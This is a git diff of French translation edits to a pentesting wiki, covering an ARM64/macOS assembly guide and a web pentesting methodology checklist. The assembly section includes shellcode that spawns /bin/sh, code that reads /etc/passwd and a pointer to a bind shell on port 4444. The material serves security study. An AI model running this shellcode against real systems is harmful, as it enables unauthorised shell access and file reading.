dans le registre x0. -svc 0 ; Effectuer l'appel système. +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` -### **Prologue de Fonction** +### **Function Prologue** -1. **Sauvegarder le registre de lien et le pointeur de cadre dans la pile** : +1. **Sauvegarder le link register et le frame pointer sur la pile** : ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Configurer le nouveau pointeur de cadre** : `mov x29, sp` (configure le nouveau pointeur de cadre pour la fonction actuelle) -3. **Allouer de l'espace sur la pile pour les variables locales** (si nécessaire) : `sub sp, sp, ` (où `` est le nombre d'octets nécessaires) +2. **Configurer le nouveau pointeur de cadre**: `mov x29, sp` (définit le nouveau pointeur de cadre pour la fonction courante) +3. **Allouer de l'espace sur la pile pour les variables locales** (si nécessaire): `sub sp, sp, ` (où `` est le nombre d'octets requis) ### **Épilogue de la fonction** -1. **Désallouer les variables locales (s'il y en avait)** : `add sp, sp, ` -2. **Restaurer le registre de lien et le pointeur de cadre** : +1. **Désallouer les variables locales (si elles ont été allouées)**: `add sp, sp, ` +2. **Restaurer le registre de lien et le pointeur de cadre**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (retourne le contrôle à l'appelant en utilisant l'adresse dans le registre de lien) +3. **Return**: `ret` (rend le contrôle à l'appelant en utilisant l'adresse dans le link register) -## État d'exécution AARCH32 +## AARCH32 État d'exécution -Armv8-A prend en charge l'exécution de programmes 32 bits. **AArch32** peut fonctionner dans l'un des **deux ensembles d'instructions** : **`A32`** et **`T32`** et peut passer de l'un à l'autre via **`interworking`**.\ -Les programmes 64 bits **privilégiés** peuvent planifier l'**exécution de programmes 32 bits** en exécutant un transfert de niveau d'exception vers le 32 bits moins privilégié.\ -Notez que la transition de 64 bits à 32 bits se produit avec une baisse du niveau d'exception (par exemple, un programme 64 bits en EL1 déclenchant un programme en EL0). Cela se fait en définissant le **bit 4 de** **`SPSR_ELx`** registre spécial **à 1** lorsque le thread de processus `AArch32` est prêt à être exécuté et le reste de `SPSR_ELx` stocke le **CPSR** des programmes **`AArch32`**. Ensuite, le processus privilégié appelle l'instruction **`ERET`** afin que le processeur passe à **`AArch32`** entrant en A32 ou T32 selon le CPSR**.** +Armv8-A prend en charge l'exécution de programmes 32 bits. **AArch32** peut s'exécuter dans l'un des **deux jeux d'instructions** : **`A32`** et **`T32`** et peut basculer entre eux via **`interworking`**.\ +Des programmes 64 bits **privilégiés** peuvent déclencher l'**exécution de programmes 32 bits** en effectuant un transfert de niveau d'exception vers le 32 bits de moindre privilège.\ +Notez que la transition du 64 bits vers le 32 bits se produit avec un niveau d'exception inférieur (par exemple un programme 64 bits en EL1 déclenchant un programme en EL0). Cela se fait en définissant le **bit 4 de** le registre spécial **`SPSR_ELx`** **à 1** lorsque le thread de processus `AArch32` est prêt à être exécuté et le reste de `SPSR_ELx` stocke le CPSR du programme **`AArch32`**. Ensuite, le processus privilégié appelle l'instruction **`ERET`** pour que le processeur passe en **`AArch32`** entrant en A32 ou T32 selon le CPSR**.** -L'**`interworking`** se produit en utilisant les bits J et T du CPSR. `J=0` et `T=0` signifie **`A32`** et `J=0` et `T=1` signifie **T32**. Cela se traduit essentiellement par le fait de définir le **bit le plus bas à 1** pour indiquer que l'ensemble d'instructions est T32.\ -Cela est défini lors des **instructions de branchement interworking**, mais peut également être défini directement avec d'autres instructions lorsque le PC est défini comme le registre de destination. Exemple : +L'**`interworking`** se fait en utilisant les bits J et T du CPSR. `J=0` et `T=0` signifie **`A32`** et `J=0` et `T=1` signifie **T32**. Cela revient essentiellement à définir le **bit le plus bas à 1** pour indiquer que le jeu d'instructions est T32.\ +Ceci est défini lors des **instructions de branchement d'interworking,** mais peut aussi être défini directement par d'autres instructions lorsque le PC est utilisé comme registre de destination. Exemple: -Un autre exemple : +Un autre exemple: ```armasm _start: .code 32 ; Begin using A32 @@ -264,60 +267,60 @@ mov r0, #8 ``` ### Registres -Il y a 16 registres de 32 bits (r0-r15). **De r0 à r14**, ils peuvent être utilisés pour **n'importe quelle opération**, cependant certains d'entre eux sont généralement réservés : +Il y a 16 registres 32 bits (r0-r15). **From r0 to r14** ils peuvent être utilisés pour **n'importe quelle opération**, cependant certains d'entre eux sont généralement réservés : -- **`r15`** : Compteur de programme (toujours). Contient l'adresse de la prochaine instruction. En A32 actuel + 8, en T32, actuel + 4. -- **`r11`** : Pointeur de cadre -- **`r12`** : Registre d'appel intra-procédural -- **`r13`** : Pointeur de pile -- **`r14`** : Registre de lien +- **`r15`**: Program counter (always). Contient l'adresse de l'instruction suivante. In A32 current + 8, in T32, current + 4. +- **`r11`**: Frame Pointer +- **`r12`**: Intra-procedural call register +- **`r13`**: Stack Pointer (Note the stack is always 16-byte aligned) +- **`r14`**: Link Register -De plus, les registres sont sauvegardés dans des **`registres bancarisés`**. Ce sont des emplacements qui stockent les valeurs des registres permettant d'effectuer un **changement de contexte rapide** dans la gestion des exceptions et les opérations privilégiées pour éviter la nécessité de sauvegarder et restaurer manuellement les registres à chaque fois.\ -Cela se fait en **sauvegardant l'état du processeur du `CPSR` au `SPSR`** du mode processeur auquel l'exception est prise. Lors des retours d'exception, le **`CPSR`** est restauré à partir du **`SPSR`**. +De plus, les registres sont sauvegardés dans des **`banked registries`**. Ce sont des emplacements qui stockent les valeurs des registres permettant d'effectuer des **fast context switching** dans la gestion des exceptions et les opérations privilégiées afin d'éviter la nécessité de sauvegarder et restaurer manuellement les registres à chaque fois.\ +Ceci est réalisé en **sauvegardant l'état du processeur depuis le `CPSR` vers le `SPSR`** du mode processeur vers lequel l'exception est prise. Au retour de l'exception, le **`CPSR`** est restauré à partir du **`SPSR`**. -### CPSR - Registre d'état du programme actuel +### CPSR - Registre d'état du programme courant -En AArch32, le CPSR fonctionne de manière similaire à **`PSTATE`** en AArch64 et est également stocké dans **`SPSR_ELx`** lorsqu'une exception est prise pour restaurer plus tard l'exécution : +In AArch32 le CPSR fonctionne de manière similaire à **`PSTATE`** en AArch64 et est aussi stocké dans **`SPSR_ELx`** lorsqu'une exception est levée pour restaurer ensuite l'exécution :
-Les champs sont divisés en plusieurs groupes : +Les champs sont divisés en quelques groupes : -- Registre d'état du programme d'application (APSR) : Drapeaux arithmétiques et accessibles depuis EL0 -- Registres d'état d'exécution : Comportement du processus (géré par le système d'exploitation). +- Application Program Status Register (APSR): Arithmetic flags and accesible from EL0 +- Execution State Registers: Comportement du processus (géré par l'OS). #### Registre d'état du programme d'application (APSR) -- Les drapeaux **`N`**, **`Z`**, **`C`**, **`V`** (tout comme en AArch64) -- Le drapeau **`Q`** : Il est défini à 1 chaque fois que **la saturation entière se produit** lors de l'exécution d'une instruction arithmétique saturante spécialisée. Une fois qu'il est défini à **`1`**, il maintiendra la valeur jusqu'à ce qu'il soit manuellement défini à 0. De plus, il n'y a pas d'instruction qui vérifie sa valeur implicitement, cela doit être fait en le lisant manuellement. -- Drapeaux **`GE`** (Supérieur ou égal) : Ils sont utilisés dans les opérations SIMD (Single Instruction, Multiple Data), telles que "addition parallèle" et "soustraction parallèle". Ces opérations permettent de traiter plusieurs points de données en une seule instruction. +- Les **`N`**, **`Z`**, **`C`**, **`V`** flags (comme en AArch64) +- Le drapeau **`Q`** : il est mis à **`1`** chaque fois qu'une **saturation entière se produit** pendant l'exécution d'une instruction arithmétique saturante spécialisée. Une fois qu'il est mis à **`1`**, il conserve la valeur jusqu'à ce qu'il soit manuellement remis à **`0`**. De plus, il n'existe aucune instruction qui vérifie implicitement sa valeur ; il faut la lire explicitement. +- Les drapeaux **`GE`** (Greater than or equal) : utilisés dans les opérations SIMD (Single Instruction, Multiple Data), telles que "parallel add" et "parallel subtract". Ces opérations permettent de traiter plusieurs éléments de données en une seule instruction. -Par exemple, l'instruction **`UADD8`** **ajoute quatre paires d'octets** (à partir de deux opérandes de 32 bits) en parallèle et stocke les résultats dans un registre de 32 bits. Elle **définit ensuite les drapeaux `GE` dans l'`APSR`** en fonction de ces résultats. Chaque drapeau GE correspond à l'une des additions d'octets, indiquant si l'addition pour cette paire d'octets **a débordé**. +Par exemple, l'instruction **`UADD8`** **ajoute quatre paires d'octets** (à partir de deux opérandes 32 bits) en parallèle et stocke les résultats dans un registre 32 bits. Elle **met ensuite à jour les drapeaux `GE` dans l'`APSR`** en fonction de ces résultats. Chaque drapeau GE correspond à l'une des additions d'octet, indiquant si l'addition pour cette paire d'octets a **débordé**. L'instruction **`SEL`** utilise ces drapeaux GE pour effectuer des actions conditionnelles. #### Registres d'état d'exécution -- Les bits **`J`** et **`T`** : **`J`** doit être 0 et si **`T`** est 0, l'ensemble d'instructions A32 est utilisé, et s'il est 1, le T32 est utilisé. -- Registre d'état de bloc IT (`ITSTATE`) : Ce sont les bits de 10 à 15 et de 25 à 26. Ils stockent les conditions pour les instructions à l'intérieur d'un groupe préfixé par **`IT`**. -- Bit **`E`** : Indique l'**endianness**. -- Bits de mode et de masque d'exception (0-4) : Ils déterminent l'état d'exécution actuel. Le **5ème** indique si le programme s'exécute en 32 bits (un 1) ou en 64 bits (un 0). Les 4 autres représentent le **mode d'exception actuellement utilisé** (lorsqu'une exception se produit et qu'elle est en cours de traitement). Le nombre défini **indique la priorité actuelle** au cas où une autre exception serait déclenchée pendant que celle-ci est en cours de traitement. +- Les bits **`J`** et **`T`** : **`J`** doit être 0 et si **`T`** est 0 l'ensemble d'instructions A32 est utilisé, et s'il est à 1, c'est le T32 qui est utilisé. +- **IT Block State Register** (`ITSTATE`) : Ce sont les bits 10-15 et 25-26. Ils stockent les conditions pour les instructions à l'intérieur d'un groupe préfixé **`IT`**. +- Bit **`E`** : Indique le **endianness**. +- **Mode and Exception Mask Bits** (0-4) : Ils déterminent l'état d'exécution courant. Le **5th** indique si le programme tourne en 32bit (un **1**) ou 64bit (un **0**). Les autres 4 représentent le **mode d'exception actuellement utilisé** (lorsqu'une exception survient et est traitée). Le nombre défini **indique la priorité courante** au cas où une autre exception serait déclenchée pendant le traitement.
-- **`AIF`** : Certaines exceptions peuvent être désactivées en utilisant les bits **`A`**, `I`, `F`. Si **`A`** est 1, cela signifie que des **abortions asynchrones** seront déclenchées. Le **`I`** configure la réponse aux **Demandes d'Interruption** (IRQ) matérielles externes. et le F est lié aux **Demandes d'Interruption Rapides** (FIR). +- **`AIF`** : Certaines exceptions peuvent être désactivées en utilisant les bits **`A`**, `I`, `F`. Si **`A`** est **1**, cela signifie que des **asynchronous aborts** seront déclenchés. Le **`I`** configure la réponse aux **Interrupts Requests** (IRQ) matériels externes. Le **`F`** est lié aux **Fast Interrupt Requests** (FIR). ## macOS -### Appels système BSD +### BSD syscalls -Consultez [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Les appels système BSD auront **x16 > 0**. +Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) or run `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls will have **x16 > 0**. ### Mach Traps -Consultez dans [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) la `mach_trap_table` et dans [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) les prototypes. Le nombre maximum de Mach traps est `MACH_TRAP_TABLE_COUNT` = 128. Les Mach traps auront **x16 < 0**, donc vous devez appeler les numéros de la liste précédente avec un **moins** : **`_kernelrpc_mach_vm_allocate_trap`** est **`-10`**. +Check out in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) the `mach_trap_table` and in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) the prototypes. The mex number of Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps will have **x16 < 0**, so you need to call the numbers from the previous list with a **minus**: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**. -Vous pouvez également consulter **`libsystem_kernel.dylib`** dans un désassembleur pour trouver comment appeler ces appels système (et BSD) : +You can also check **`libsystem_kernel.dylib`** in a disassembler to find how to call these (and BSD) syscalls: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Notez que **Ida** et **Ghidra** peuvent également décompiler **des dylibs spécifiques** à partir du cache simplement en passant par le cache. +Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache. > [!TIP] -> Parfois, il est plus facile de vérifier le code **décompilé** de **`libsystem_kernel.dylib`** **que** de vérifier le **code source** car le code de plusieurs syscalls (BSD et Mach) est généré via des scripts (voir les commentaires dans le code source) tandis que dans le dylib, vous pouvez trouver ce qui est appelé. +> Parfois il est plus simple de vérifier le code **décompilé** de **`libsystem_kernel.dylib`** **plutôt que** de vérifier le **code source**, car le code de plusieurs syscalls (BSD et Mach) est généré via des scripts (vérifiez les commentaires dans le code source) tandis que dans le dylib vous pouvez trouver ce qui est appelé. -### appels machdep +### machdep calls -XNU prend en charge un autre type d'appels appelés dépendants de la machine. Le nombre de ces appels dépend de l'architecture et ni les appels ni les nombres ne sont garantis de rester constants. +XNU prend en charge un autre type d'appels appelés machine dependent. Les numéros de ces appels dépendent de l'architecture et ni les appels ni les numéros ne sont garantis de rester constants. -### page comm +### comm page -C'est une page mémoire appartenant au noyau qui est mappée dans l'espace d'adresses de chaque processus utilisateur. Elle est destinée à rendre la transition du mode utilisateur vers l'espace noyau plus rapide que d'utiliser des syscalls pour les services du noyau qui sont utilisés tellement que cette transition serait très inefficace. +C'est une page mémoire appartenant au noyau qui est mappée dans l'espace d'adressage de chaque processus utilisateur. Elle est conçue pour rendre la transition du mode utilisateur vers l'espace kernel plus rapide que l'utilisation de syscalls pour des services du kernel tellement utilisés que cette transition serait très inefficace. -Par exemple, l'appel `gettimeofdate` lit la valeur de `timeval` directement à partir de la page comm. +Par exemple l'appel `gettimeofdate` lit la valeur de `timeval` directement depuis la comm page. ### objc_msgSend Il est très courant de trouver cette fonction utilisée dans des programmes Objective-C ou Swift. Cette fonction permet d'appeler une méthode d'un objet Objective-C. -Paramètres ([plus d'infos dans la documentation](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): +Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): - x0: self -> Pointeur vers l'instance - x1: op -> Sélecteur de la méthode - x2... -> Reste des arguments de la méthode invoquée -Donc, si vous placez un point d'arrêt avant la branche vers cette fonction, vous pouvez facilement trouver ce qui est invoqué dans lldb avec (dans cet exemple, l'objet appelle un objet de `NSConcreteTask` qui exécutera une commande): +Donc, si vous placez un breakpoint avant la branche vers cette fonction, vous pouvez facilement trouver ce qui est invoqué dans lldb avec (dans cet exemple l'objet appelle un objet de `NSConcreteTask` qui exécutera une commande): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,31 +372,31 @@ whoami ) ``` > [!TIP] -> En définissant la variable d'environnement **`NSObjCMessageLoggingEnabled=1`**, il est possible de journaliser quand cette fonction est appelée dans un fichier comme `/tmp/msgSends-pid`. +> Setting the env variable **`NSObjCMessageLoggingEnabled=1`** it's possible to log when this function is called in a file like `/tmp/msgSends-pid`. > -> De plus, en définissant **`OBJC_HELP=1`** et en appelant n'importe quel binaire, vous pouvez voir d'autres variables d'environnement que vous pourriez utiliser pour **journaliser** quand certaines actions Objc-C se produisent. +> Moreover, setting **`OBJC_HELP=1`** and calling any binary you can see other environment variables you could use to **log** when certain Objc-C actions occurs. -Lorsque cette fonction est appelée, il est nécessaire de trouver la méthode appelée de l'instance indiquée, pour cela, différentes recherches sont effectuées : +Lorsque cette fonction est appelée, il faut trouver la méthode appelée de l'instance indiquée ; pour cela différentes recherches sont effectuées : -- Effectuer une recherche de cache optimiste : -- Si réussi, terminé -- Acquérir runtimeLock (lecture) -- Si (réaliser && !cls->réalisé) réaliser la classe -- Si (initialiser && !cls->initialisé) initialiser la classe -- Essayer le cache propre à la classe : -- Si réussi, terminé -- Essayer la liste des méthodes de la classe : -- Si trouvé, remplir le cache et terminé -- Essayer le cache de la superclasse : -- Si réussi, terminé -- Essayer la liste des méthodes de la superclasse : -- Si trouvé, remplir le cache et terminé -- Si (résolveur) essayer le résolveur de méthode, et répéter à partir de la recherche de classe -- Si encore ici (= tout le reste a échoué) essayer le transmetteur +- Effectuer une recherche optimiste dans le cache : +- Si la recherche réussit, terminé +- Acquérir runtimeLock (read) +- Si (realize && !cls->realized) realize class +- Si (initialize && !cls->initialized) initialize class +- Tester le cache propre à la classe : +- Si la recherche réussit, terminé +- Tester la liste des méthodes de la classe : +- Si trouvée, remplir le cache et terminé +- Tester le cache de la superclasse : +- Si la recherche réussit, terminé +- Tester la liste des méthodes de la superclasse : +- Si trouvée, remplir le cache et terminé +- Si (resolver) essayer le method resolver, et répéter à partir de la class lookup +- Si on en est encore là (= tout le reste a échoué), essayer le forwarder ### Shellcodes -Pour compiler : +Pour compiler: ```bash as -o shell.o shell.s ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib @@ -467,10 +470,10 @@ return 0; #### Shell -Pris de [**ici**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) et expliqué. +Extrait de [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) et expliqué. {{#tabs}} -{{#tab name="avec adr"}} +{{#tab name="with adr"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh" ``` {{#endtab}} -{{#tab name="avec la pile"}} +{{#tab name="with stack"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -518,7 +521,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, ``` {{#endtab}} -{{#tab name="avec adr pour linux"}} +{{#tab name="with adr for linux"}} ```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. @@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh" #### Lire avec cat -L'objectif est d'exécuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxième argument (x1) est un tableau de paramètres (ce qui, en mémoire, signifie une pile des adresses). +L'objectif est d'exécuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxième argument (x1) est un array de params (qui en mémoire signifie un stack des addresses). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### Invoker une commande avec sh depuis un fork afin que le processus principal ne soit pas tué +#### Exécuter une commande avec sh depuis un fork pour que le processus principal ne soit pas terminé ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### Bind shell -Bind shell de [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) sur **port 4444** +Bind shell depuis [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) sur le **port 4444** ```armasm .section __TEXT,__text .global _main diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 7ec6ef082..4341f09ef 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,12 +1,12 @@ -# 80,443 - Méthodologie Pentesting Web +# 80,443 - Méthodologie de Pentesting Web {{#include ../../banners/hacktricks-training.md}} -## Infos de base +## Informations de base -Le service web est le service le plus **commun et étendu** et de nombreux **types différents de vulnérabilités** existent. +Le service web est le service le plus **commun et étendu** et il existe de nombreux **types différents de vulnérabilités**. -**Port par défaut :** 80 (HTTP), 443 (HTTPS) +**Port par défaut :** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -17,45 +17,45 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Web API Guidance +### Directives pour les API Web {{#ref}} web-api-pentesting.md {{#endref}} -## Methodology summary +## Résumé de la méthodologie -> Dans cette méthodologie nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre. +> Dans cette méthodologie, nous supposons que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le scope. -- [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **trucs** à garder en tête pendant le reste du test si vous parvenez à identifier la tech. +- [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **astuces** à garder en tête pendant le reste du test si vous parvenez à identifier la technologie. - [ ] Existe-t-il une **vulnérabilité connue** pour la version de la technologie ? -- [ ] Utilisez-vous une **tech bien connue** ? Y a-t-il une **astuce utile** pour extraire plus d'informations ? -- [ ] Un **specialised scanner** à lancer (like wpscan) ? +- [ ] Utilisez-vous une **technologie bien connue** ? Y a-t-il une **astuce utile** pour extraire plus d'informations ? +- [ ] Y a-t-il un **scanner spécialisé** à lancer (comme wpscan) ? - [ ] Lancez des **general purposes scanners**. On ne sait jamais s'ils vont trouver quelque chose ou des informations intéressantes. -- [ ] Commencez par les **initial checks** : **robots**, **sitemap**, erreur **404** et **SSL/TLS scan** (si HTTPS). -- [ ] Commencez le **spidering** de la page web : il est temps de **trouver** tous les **fichiers, folders** et **paramètres being used.** Vérifiez également les **special findings**. -- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ -- [ ] **Directory Brute-Forcing** : Essayez de brute force tous les dossiers découverts en recherchant de nouveaux **files** et **directories**. -- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ -- [ ] **Backups checking** : Testez si vous pouvez trouver des **backups** des **discovered files** en ajoutant des extensions de sauvegarde courantes. +- [ ] Commencez par les **initial checks** : **robots**, **sitemap**, **404** error et **SSL/TLS scan** (si HTTPS). +- [ ] Commencez le **spidering** de la page web : c'est le moment de **trouver** tous les **fichiers, dossiers** et **paramètres utilisés** possibles. Vérifiez aussi les **trouvailles particulières**. +- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert pendant le brute-forcing ou le spidering, il doit être spidered._ +- [ ] **Directory Brute-Forcing** : Essayez de brute-forcer tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**. +- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert pendant le brute-forcing ou le spidering, il doit être Brute-Forced._ +- [ ] **Backups checking** : Vérifiez si vous pouvez trouver des **backups** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes. - [ ] **Brute-Force parameters** : Essayez de **trouver des paramètres cachés**. - [ ] Une fois que vous avez **identifié** tous les **endpoints** possibles acceptant des **user input**, vérifiez tous les types de **vulnérabilités** qui y sont liés. -- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] [Suivez cette checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## Server Version (Vulnerable?) +## Version du serveur (Vulnérable ?) -### Identify +### Identification Vérifiez s'il existe des **vulnérabilités connues** pour la **version** du serveur en cours d'exécution.\ -Les **HTTP headers and cookies of the response** pourraient être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:** +Les **HTTP headers** et les **cookies** de la réponse peuvent être très utiles pour **identifier** les **technologies** et/ou la **version** utilisées. **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)** :** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Rechercher **les** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) +Rechercher [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) ### **Vérifier s'il y a un WAF** @@ -63,9 +63,9 @@ Rechercher **les** [**vulnerabilities of the web application** **version**](../. - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Web tech tricks +### Astuces techniques Web -Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **technologies** bien connues utilisées : +Quelques **astuces** pour la **recherche de vulnérabilités** dans différentes **technologies** bien connues utilisées : - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -101,20 +101,19 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_Prenez en compte que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **folders** et **subdomains**._\ -Si l'application web utilise une des **tech/platform listed before** ou toute autre, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et tiens-moi au courant !). +_Prenez en compte que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **dossiers** et **sous-domaines**._\ +Si l'application web utilise une des **tech/platform listées ci-dessus** ou **une autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et dites-le-moi !). ### Revue du code source -Si le **source code** de l'application est disponible sur **github**, en plus d'effectuer par **vous-même un White box test** de l'application, certaines **informations** peuvent être **utiles** pour le **Black-Box testing** en cours : - -- Y a-t-il un **Change-log or Readme or Version** file ou quoi que ce soit contenant des **version info accessible** via le web ? -- Comment et où sont stockées les **credentials** ? Y a-t-il un **file** (accessible ?) contenant des credentials (usernames ou passwords) ? -- Les **passwords** sont-ils en **plain text**, **encrypted**, ou quel **hashing algorithm** est utilisé ? -- Utilise-t-il une **master key** pour chiffrer quelque chose ? Quel **algorithm** est utilisé ? -- Pouvez-vous **accéder à l'un de ces files** en exploitant une vulnérabilité ? -- Y a-t-il des **informations intéressantes dans github** (issues résolues ou non) ? Ou dans l'**commit history** (peut-être un **password** introduit dans un ancien commit) ? +Si le **source code** de l'application est disponible sur **github**, en plus d'effectuer par **vous-même un White box test** de l'application, il y a **des informations** qui pourraient être **utiles** pour le **Black-Box testing** en cours : +- Y a-t-il un fichier **Change-log**, **Readme** ou **Version** ou tout autre élément avec des **informations de version accessibles** via le web ? +- Comment et où sont stockés les **identifiants** ? Y a-t-il un **fichier** (accessible ?) contenant des identifiants (noms d'utilisateur ou mots de passe) ? +- Les **mots de passe** sont-ils en **texte clair**, **chiffrés** ou quel **algorithme de hachage** est utilisé ? +- Utilise-t-il une **master key** pour chiffrer quelque chose ? Quel **algorithme** est utilisé ? +- Pouvez-vous **accéder à l'un de ces fichiers** en exploitant une vulnérabilité ? +- Y a-t-il des **informations intéressantes sur github** (issues résolues ou non) ? Ou dans l'**historique des commits** (peut-être un **mot de passe introduit dans un ancien commit**) ? {{#ref}} code-review-tools.md @@ -134,12 +133,12 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### Scanners pour CMS +#### Scanners de CMS -Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, quelque chose d'intéressant peut être trouvé : +Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, vous pourriez trouver quelque chose d'intéressant : [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites web pour des problèmes de sécurité. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites Web pour des vulnérabilités de sécurité. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** 